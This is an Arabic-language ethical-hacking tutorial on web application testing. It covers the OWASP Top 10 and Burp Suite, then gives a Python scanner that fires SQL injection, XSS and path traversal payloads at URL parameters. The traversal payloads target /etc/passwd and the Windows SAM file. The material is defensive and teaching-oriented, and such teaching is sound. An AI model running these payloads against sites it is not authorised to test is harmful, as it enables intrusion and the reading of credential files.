Kodax

اختراق تطبيقات الويب — الاختراق الأخلاقي

اختراق تطبيقات الويب

OWASP Top 10

أشهر 10 ثغرات في تطبيقات الويب:

1. Broken Access Control

الوصول لصفحات غير مصرّح بها

/admin  ← يجب أن يكون محمي!
/user/123/profile  ← هل يمكنني رؤية /user/456/profile؟

2. Cryptographic Failures

مشاكل التشفير (كلمات مرور بـ MD5، HTTP بدون TLS)

3. Injection

حقن كود ضار (SQLi, Command Injection, XSS)

4. Insecure Design

تصميم غير آمن من الأساس

5. Security Misconfiguration

إعدادات خاطئة (debug mode في production)

6. Vulnerable Components

مكتبات قديمة بها ثغرات

7. Authentication Failures

مشاكل في تسجيل الدخول

8. Software Integrity Failures

تحديثات بدون تحقق

9. Logging Failures

عدم تسجيل الأحداث الأمنية

10. SSRF

Server-Side Request Forgery

Burp Suite

أداة أساسية لاختبار الويب

الوظائف

- Proxy: اعتراض الطلبات

- Repeater: تعديل وإعادة إرسال

- Intruder: هجمات آلية

- Scanner: فحص ثغرات (Pro)

سير العمل

1. اضبط المتصفح للمرور عبر Burp

2. تصفح التطبيق طبيعياً

3. راقب الطلبات في Proxy

4. عدّل وأعد إرسال في Repeater

# اختبار ثغرات الويب (للتعليم)
import requests
import re
from urllib.parse import urljoin, urlparse

class WebVulnScanner:
    """
    فاحص ثغرات ويب بسيط للتعليم
    ⚠️ استخدم فقط على تطبيقاتك أو بإذن!
    """
    
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.findings = []
    
    # ===== SQL Injection Test =====
    def test_sqli(self, url, param):
        """
        اختبار SQL Injection بسيط
        """
        print(f"\n🔍 اختبار SQLi على {param}...")
        
        payloads = [
            "' OR '1'='1",
            "' OR '1'='1'--",
            "' OR '1'='1'/*",
            "1' AND '1'='1",
            "1 OR 1=1",
            "' UNION SELECT NULL--",
        ]
        
        for payload in payloads:
            try:
                # اختبار في GET parameter
                test_url = f"{url}?{param}={payload}"
                response = self.session.get(test_url, timeout=5)
                
                # علامات SQLi
                sql_errors = [
                    "SQL syntax",
                    "mysql_fetch",
                    "ORA-00933",
                    "PostgreSQL",
                    "SQLite3",
                    "SQLITE_ERROR",
                    "Warning: mysql",
                    "Unclosed quotation",
                ]
                
                for error in sql_errors:
                    if error.lower() in response.text.lower():
                        finding = {
                            "type": "SQL Injection",
                            "severity": "Critical",
                            "url": url,
                            "parameter": param,
                            "payload": payload,
                            "evidence": error
                        }
                        self.findings.append(finding)
                        print(f"  🔴 وُجدت ثغرة! Payload: {payload}")
                        return True
                        
            except:
                pass
        
        print(f"  ✅ لم تُكتشف ثغرة SQLi")
        return False
    
    # ===== XSS Test =====
    def test_xss(self, url, param):
        """
        اختبار XSS بسيط
        """
        print(f"\n🔍 اختبار XSS على {param}...")
        
        payloads = [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            "javascript:alert('XSS')",
            "'><script>alert('XSS')</script>",
        ]
        
        for payload in payloads:
            try:
                test_url = f"{url}?{param}={payload}"
                response = self.session.get(test_url, timeout=5)
                
                # هل الـ payload يظهر في الرد؟
                if payload in response.text:
                    finding = {
                        "type": "Reflected XSS",
                        "severity": "High",
                        "url": url,
                        "parameter": param,
                        "payload": payload
                    }
                    self.findings.append(finding)
                    print(f"  🔴 وُجدت ثغرة! Payload: {payload[:30]}...")
                    return True
                    
            except:
                pass
        
        print(f"  ✅ لم تُكتشف ثغرة XSS")
        return False
    
    # ===== Directory Traversal =====
    def test_path_traversal(self, url, param):
        """
        اختبار Path Traversal
        """
        print(f"\n🔍 اختبار Path Traversal على {param}...")
        
        payloads = [
            "../../../etc/passwd",
            "....//....//....//etc/passwd",
            "..\\..\\..\\windows\\system32\\config\\sam",
            "/etc/passwd",
            "....//....//....//windows/win.ini",
        ]
        
        indicators = [
            "root:x:",           # Linux passwd
            "daemon:",
            "[extensions]",      # Windows ini
            "for 16-bit app",
        ]
        
        for payload in payloads:
            try:
                test_url = f"{url}?{param}={payload}"
                response = self.session.get(test_url, timeout=5)
                
                for indicator in indicators:
                    if indicator in response.text:
                        finding = {
                            "type": "Path Traversal",
                            "severity": "Critical",
                            "url": url,
                            "parameter": param,
                            "payload": payload
                        }
                        self.findings.append(finding)
                        print(f"  🔴 وُجدت ثغرة!")
                        return True
                        
            except:
                pass
        
        print(f"  ✅ لم تُكتشف ثغرة Path Traversal")
        return False
    
    # ===== Security Headers Check =====
    def check_security_headers(self):
        """
        فحص headers الأمان
        """
        print(f"\n🔍 فحص Security Headers...")
        
        try:
            response = self.session.get(self.base_url, timeout=5)
            headers = response.headers
            
            security_headers = {
                "Content-Security-Policy": "يمنع XSS",
                "X-Frame-Options": "يمنع Clickjacking",
                "X-Content-Type-Options": "يمنع MIME sniffing",
                "Strict-Transport-Security": "يفرض HTTPS",
                "X-XSS-Protection": "حماية XSS قديمة",
            }
            
            for header, description in security_headers.items():
                if header in headers:
                    print(f"  ✅ {header}")
                else:
                    print(f"  ❌ {header} مفقود ({description})")
                    self.findings.append({
                        "type": "Missing Security Header",
                        "severity": "Low",
                        "header": header,
                        "description": description
                    })
                    
        except Exception as e:
            print(f"  خطأ: {e}")
    
    # ===== Full Scan =====
    def full_scan(self, params=None):
        """
        فحص شامل
        """
        if params is None:
            params = ['id', 'page', 'file', 'query', 'search', 'user']
        
        print(f"\n{'='*50}")
        print(f"  فحص أمني لـ {self.base_url}")
        print(f"{'='*50}")
        
        self.check_security_headers()
        
        for param in params:
            self.test_sqli(self.base_url, param)
            self.test_xss(self.base_url, param)
            self.test_path_traversal(self.base_url, param)
        
        print(f"\n{'='*50}")
        print(f"  الملخص: {len(self.findings)} ثغرات")
        print(f"{'='*50}")
        
        return self.findings


# مثال (على DVWA أو تطبيق تملكه)
# scanner = WebVulnScanner("http://localhost/dvwa/")
# scanner.full_scan()
اختبر فهمك